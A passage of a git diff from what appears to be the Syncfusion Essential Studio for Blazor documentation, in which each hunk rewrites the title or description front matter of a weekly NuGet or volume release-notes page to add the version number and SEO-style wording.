+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.4.42, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.4.43.md b/blazor/Release-Notes/18.4.43.md
index 1b638e0c9a..e1cd97f507 100644
--- a/blazor/Release-Notes/18.4.43.md
+++ b/blazor/Release-Notes/18.4.43.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.4.43  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.4.43, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.4.44.md b/blazor/Release-Notes/18.4.44.md
index 1afbf26bc8..c6723a0757 100644
--- a/blazor/Release-Notes/18.4.44.md
+++ b/blazor/Release-Notes/18.4.44.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.4.44  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.4.44, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.4.46.md b/blazor/Release-Notes/18.4.46.md
index 7366b35e31..10850b3caf 100644
--- a/blazor/Release-Notes/18.4.46.md
+++ b/blazor/Release-Notes/18.4.46.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.4.46  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.4.46, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.4.47.md b/blazor/Release-Notes/18.4.47.md
index 1d79bcc43c..69adc7fa6c 100644
--- a/blazor/Release-Notes/18.4.47.md
+++ b/blazor/Release-Notes/18.4.47.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.4.47  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.4.47, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.4.48.md b/blazor/Release-Notes/18.4.48.md
index d85c3253e8..340f791725 100644
--- a/blazor/Release-Notes/18.4.48.md
+++ b/blazor/Release-Notes/18.4.48.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.4.48 
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.4.48, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.4.49.md b/blazor/Release-Notes/18.4.49.md
index 9399ba5e42..9a87e88da1 100644
--- a/blazor/Release-Notes/18.4.49.md
+++ b/blazor/Release-Notes/18.4.49.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.4.49  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.4.49, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/19.1.54.md b/blazor/Release-Notes/19.1.54.md
index 922b158297..0d877e7032 100644
--- a/blazor/Release-Notes/19.1.54.md
+++ b/blazor/Release-Notes/19.1.54.md
@@ -1,6 +1,6 @@
 ---
-title: Essential Studio for Blazor 2021 volume 1 Main Release Notes  
-description: Essential Studio for Blazor 2021 volume 1 Main Release Notes  
+title: Essential Studio for Blazor 2021 volume 1 Main Release Notes -v19.1.54
+description: Learn all about the Essential Studio for Blazor 2021 volume 1 Main Release Notes v19.1.54, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/19.1.55.md b/blazor/Release-Notes/19.1.55.md
index 6d4afa02b0..f664f00954 100644
--- a/blazor/Release-Notes/19.1.55.md
+++ b/blazor/Release-Notes/19.1.55.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v19.1.55  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.1.55, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/19.1.56.md b/blazor/Release-Notes/19.1.56.md
index 67b0a4eba1..546af8415c 100644
--- a/blazor/Release-Notes/19.1.56.md
+++ b/blazor/Release-Notes/19.1.56.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v19.1.56  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.1.56, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/19.1.57.md b/blazor/Release-Notes/19.1.57.md
index 448e7892bb..d0a62febf3 100644
--- a/blazor/Release-Notes/19.1.57.md
+++ b/blazor/Release-Notes/19.1.57.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v19.1.57  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.1.57, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/19.1.58.md b/blazor/Release-Notes/19.1.58.md
index ce8425f706..e747b61033 100644
--- a/blazor/Release-Notes/19.1.58.md
+++ b/blazor/Release-Notes/19.1.58.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v19.1.58  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.1.58, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/19.1.59.md b/blazor/Release-Notes/19.1.59.md
index 0b6d7fca19..97c9b1f1f8 100644
--- a/blazor/Release-Notes/19.1.59.md
+++ b/blazor/Release-Notes/19.1.59.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v19.1.59  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.1.59, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/19.1.63.md b/blazor/Release-Notes/19.1.63.md
index 97045fb81d..7feb91f8ea 100644
--- a/blazor/Release-Notes/19.1.63.md
+++ b/blazor/Release-Notes/19.1.63.md
@@ -1,6 +1,6 @@
 ---
-title: Essential Studio for Blazor 2021 volume 1 SP1 Release Notes  
-description: Essential Studio for Blazor 2021 volume 1 SP1 Release Notes  
+title: Essential Studio for Blazor 2021 volume 1 SP1 Release Notes - v19.1.63
+description: Learn all about the Essential Studio for Blazor 2021 volume 1 SP1 Release Notes v19.1.63, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/19.1.64.md b/blazor/Release-Notes/19.1.64.md
index 2bdbeb5598..e793c5043c 100644
--- a/blazor/Release-Notes/19.1.64.md
+++ b/blazor/Release-Notes/19.1.64.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v19.1.64  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.1.64, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/19.1.65.md b/blazor/Release-Notes/19.1.65.md
index 60e0dc3899..ef37554836 100644
--- a/blazor/Release-Notes/19.1.65.md
+++ b/blazor/Release-Notes/19.1.65.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v19.1.65  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.1.65, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/19.1.66.md b/blazor/Release-Notes/19.1.66.md
index fd096431d2..270864b160 100644
--- a/blazor/Release-Notes/19.1.66.md
+++ b/blazor/Release-Notes/19.1.66.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v19.1.66  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.1.66, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/19.1.67.md b/blazor/Release-Notes/19.1.67.md
index 618d933a0b..36b957dd5e 100644
--- a/blazor/Release-Notes/19.1.67.md
+++ b/blazor/Release-Notes/19.1.67.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v19.1.67  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.1.67, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/19.1.69.md b/blazor/Release-Notes/19.1.69.md
index 6dfdd3ef13..e45f1fb838 100644
--- a/blazor/Release-Notes/19.1.69.md
+++ b/blazor/Release-Notes/19.1.69.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v19.1.69  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.1.69, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/19.2.44.md b/blazor/Release-Notes/19.2.44.md
index fc610d7da1..a4da3b7ed7 100644
--- a/blazor/Release-Notes/19.2.44.md
+++ b/blazor/Release-Notes/19.2.44.md
@@ -1,5 +1,5 @@
 ---
-title: Essential Studio for Blazor 2021 volume 2 Main Release Notes  
+title: Essential Studio for Blazor 2021 volume 2 Main Release Notes -v19.2.44
 description: Essential Studio for Blazor 2021 volume 2 Main Release Notes    
 platform: Blazor
 documentation: ug
diff --git a/blazor/Release-Notes/19.2.46.md b/blazor/Release-Notes/19.2.46.md
index 0ead6f80d3..76324c8117 100644
--- a/blazor/Release-Notes/19.2.46.md
+++ b/blazor/Release-Notes/19.2.46.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v19.2.46 
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.2.46, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/19.2.47.md b/blazor/Release-Notes/19.2.47.md
index f9805fe4d9..86452c5c39 100644
--- a/blazor/Release-Notes/19.2.47.md
+++ b/blazor/Release-Notes/19.2.47.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v19.2.47  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.2.47, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/19.2.48.md b/blazor/Release-Notes/19.2.48.md
index f3385bc1bc..6ab809f46f 100644
--- a/blazor/Release-Notes/19.2.48.md
+++ b/blazor/Release-Notes/19.2.48.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v19.2.48  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.2.48, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/19.2.49.md b/blazor/Release-Notes/19.2.49.md
index 6a98525657..e704cef1f0 100644
--- a/blazor/Release-Notes/19.2.49.md
+++ b/blazor/Release-Notes/19.2.49.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v19.2.49  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.2.49, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/19.2.51.md b/blazor/Release-Notes/19.2.51.md
index ba8bad120d..978683076b 100644
--- a/blazor/Release-Notes/19.2.51.md
+++ b/blazor/Release-Notes/19.2.51.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v19.2.51  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.2.51, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/19.2.55.md b/blazor/Release-Notes/19.2.55.md
index e352c6c57a..ca1d296546 100644
--- a/blazor/Release-Notes/19.2.55.md
+++ b/blazor/Release-Notes/19.2.55.md
@@ -1,6 +1,6 @@
 ---
-title: Essential Studio for Blazor 2021 volume 2 SP  Release Notes  
-description: Essential Studio for Blazor 2021 volume 2 SP Release Notes    
+title: Essential Studio for Blazor 2021 volume 2 SP  Release Notes - v19.2.55
+description: Learn all about the Essential Studio for Blazor 2021 volume 2 SP Release Notes v19.2.55, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/19.2.56.md b/blazor/Release-Notes/19.2.56.md
index cd269f6fb1..7ff3b203b5 100644
--- a/blazor/Release-Notes/19.2.56.md
+++ b/blazor/Release-Notes/19.2.56.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v19.2.56  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.2.56, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/19.2.57.md b/blazor/Release-Notes/19.2.57.md
index 88aaac0fdd..890814acfe 100644
--- a/blazor/Release-Notes/19.2.57.md
+++ b/blazor/Release-Notes/19.2.57.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v19.2.57  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.2.57, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/19.2.59.md b/blazor/Release-Notes/19.2.59.md
index 359d8ddd6f..2f80272d55 100644
--- a/blazor/Release-Notes/19.2.59.md
+++ b/blazor/Release-Notes/19.2.59.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v19.2.59  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.2.59, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/19.2.60.md b/blazor/Release-Notes/19.2.60.md
index f61896eacb..32225db530 100644
--- a/blazor/Release-Notes/19.2.60.md
+++ b/blazor/Release-Notes/19.2.60.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v19.2.60  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.2.60, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/19.2.62.md b/blazor/Release-Notes/19.2.62.md
index b2de84eb8c..51a78fbb6d 100644
--- a/blazor/Release-Notes/19.2.62.md
+++ b/blazor/Release-Notes/19.2.62.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v19.2.62  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.2.62, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/20.1.55.md b/blazor/Release-Notes/20.1.55.md
index 9cb3c47f7c..097aea762e 100644
--- a/blazor/Release-Notes/20.1.55.md
+++ b/blazor/Release-Notes/20.1.55.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for  Blazor 2022 Volume 1 SP  Release Release Notes  
-description: Essential Studio for  Blazor 2022 Volume 1 SP Release Release Notes  
+description: Learn all about the Essential Studio for  Blazor 2022 Volume 1 SP Release Release Notes v20.1.55, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/20.2.36.md b/blazor/Release-Notes/20.2.36.md
index 8848912ac0..ae89ba9437 100644
--- a/blazor/Release-Notes/20.2.36.md
+++ b/blazor/Release-Notes/20.2.36.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for  Blazor 2022 Volume 2 Main Release Release Notes  
-description: Essential Studio for  Blazor 2022 Volume 2 Main Release Release Notes  
+description: Learn all about the Essential Studio for  Blazor 2022 Volume 2 Main Release Release Notes v20.2.36, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/20.2.43.md b/blazor/Release-Notes/20.2.43.md
index 78e981e049..e434acefd5 100644
--- a/blazor/Release-Notes/20.2.43.md
+++ b/blazor/Release-Notes/20.2.43.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for  Blazor 2022 Volume 2 SP Release Release Notes  
-description: Essential Studio for  Blazor 2022 Volume 2 SP Release Release Notes    
+description: Learn all about the Essential Studio for  Blazor 2022 Volume 2 SP Release Release Notes v20.2.43, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/20.3.50.md b/blazor/Release-Notes/20.3.50.md
index b81256dd7e..8efb2f1d88 100644
--- a/blazor/Release-Notes/20.3.50.md
+++ b/blazor/Release-Notes/20.3.50.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v20.3.50  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v20.3.50, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/20.3.52.md b/blazor/Release-Notes/20.3.52.md
index 16086ce18d..667ed2a8c9 100644
--- a/blazor/Release-Notes/20.3.52.md
+++ b/blazor/Release-Notes/20.3.52.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v20.3.52 
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v20.3.52, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/20.3.57.md b/blazor/Release-Notes/20.3.57.md
index 4148a834f8..6ad895c55c 100644
--- a/blazor/Release-Notes/20.3.57.md
+++ b/blazor/Release-Notes/20.3.57.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v20.3.57  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v20.3.57, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/20.3.58.md b/blazor/Release-Notes/20.3.58.md
index 4eef4ec7a3..f73b91a1ec 100644
--- a/blazor/Release-Notes/20.3.58.md
+++ b/blazor/Release-Notes/20.3.58.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v20.3.58  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v20.3.58, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/20.3.59.md b/blazor/Release-Notes/20.3.59.md
index 6f6aa08479..6c8c197d72 100644
--- a/blazor/Release-Notes/20.3.59.md
+++ b/blazor/Release-Notes/20.3.59.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v20.3.59  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v20.3.59, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/20.3.60.md b/blazor/Release-Notes/20.3.60.md
index 2487348a59..97d4f56fd1 100644
--- a/blazor/Release-Notes/20.3.60.md
+++ b/blazor/Release-Notes/20.3.60.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v20.3.60  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v20.3.60, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/20.3.61.md b/blazor/Release-Notes/20.3.61.md
index d3722bd83f..eb7e077459 100644
--- a/blazor/Release-Notes/20.3.61.md
+++ b/blazor/Release-Notes/20.3.61.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v20.3.61  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v20.3.61, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/20.4.40.md b/blazor/Release-Notes/20.4.40.md
index e51a27bb3f..726b953374 100644
--- a/blazor/Release-Notes/20.4.40.md
+++ b/blazor/Release-Notes/20.4.40.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v20.4.40  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v20.4.40, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/20.4.41.md b/blazor/Release-Notes/20.4.41.md
index 26b1835f91..13395979bc 100644
--- a/blazor/Release-Notes/20.4.41.md
+++ b/blazor/Release-Notes/20.4.41.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v20.4.41  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v20.4.41, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/20.4.42.md b/blazor/Release-Notes/20.4.42.md
index 3b839268c2..82b96b569e 100644
--- a/blazor/Release-Notes/20.4.42.md
+++ b/blazor/Release-Notes/20.4.42.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v20.4.42  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v20.4.42, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/20.4.43.md b/blazor/Release-Notes/20.4.43.md
index f6c6a4fc9c..2c5577358a 100644
--- a/blazor/Release-Notes/20.4.43.md
+++ b/blazor/Release-Notes/20.4.43.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v20.4.43  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v20.4.43, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/20.4.44.md b/blazor/Release-Notes/20.4.44.md
index 8876a0e7e9..a805de281f 100644
--- a/blazor/Release-Notes/20.4.44.md
+++ b/blazor/Release-Notes/20.4.44.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v20.4.44  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v20.4.44, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/20.4.49.md b/blazor/Release-Notes/20.4.49.md
index 5b1710179f..1da7abf167 100644
--- a/blazor/Release-Notes/20.4.49.md
+++ b/blazor/Release-Notes/20.4.49.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v20.4.49  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v20.4.49, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/20.4.50.md b/blazor/Release-Notes/20.4.50.md
index 1c4f6ca679..9a9aa79404 100644
--- a/blazor/Release-Notes/20.4.50.md
+++ b/blazor/Release-Notes/20.4.50.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v20.4.50  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v20.4.50, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/20.4.51.md b/blazor/Release-Notes/20.4.51.md
index ad18e144c3..a8375d1972 100644
--- a/blazor/Release-Notes/20.4.51.md
+++ b/blazor/Release-Notes/20.4.51.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v20.4.51  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v20.4.51, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/20.4.52.md b/blazor/Release-Notes/20.4.52.md
index 4dbddae6d1..d9ee694a10 100644
--- a/blazor/Release-Notes/20.4.52.md
+++ b/blazor/Release-Notes/20.4.52.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v20.4.52  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v20.4.52, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/20.4.53.md b/blazor/Release-Notes/20.4.53.md
index 04a639b305..b74480f0a1 100644
--- a/blazor/Release-Notes/20.4.53.md
+++ b/blazor/Release-Notes/20.4.53.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v20.4.53  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v20.4.53, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/20.4.54.md b/blazor/Release-Notes/20.4.54.md
index 35be67daf3..8f44518d07 100644
--- a/blazor/Release-Notes/20.4.54.md
+++ b/blazor/Release-Notes/20.4.54.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v20.4.54  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v20.4.54, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/21.1.37.md b/blazor/Release-Notes/21.1.37.md
index 861c547a43..0790a62543 100644
--- a/blazor/Release-Notes/21.1.37.md
+++ b/blazor/Release-Notes/21.1.37.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v21.1.37 
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v21.1.37, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/21.1.38.md b/blazor/Release-Notes/21.1.38.md
index 3ea5813524..4325804b8e 100644
--- a/blazor/Release-Notes/21.1.38.md
+++ b/blazor/Release-Notes/21.1.38.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v21.1.38  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v21.1.38, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/21.1.39.md b/blazor/Release-Notes/21.1.39.md
index 5188176b84..dd8bdc5808 100644
--- a/blazor/Release-Notes/21.1.39.md
+++ b/blazor/Release-Notes/21.1.39.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v21.1.39  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v21.1.39, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/21.1.41.md b/blazor/Release-Notes/21.1.41.md
index 7c8cb2f851..7c77438073 100644
--- a/blazor/Release-Notes/21.1.41.md
+++ b/blazor/Release-Notes/21.1.41.md
@@ -1,6 +1,6 @@
 ---
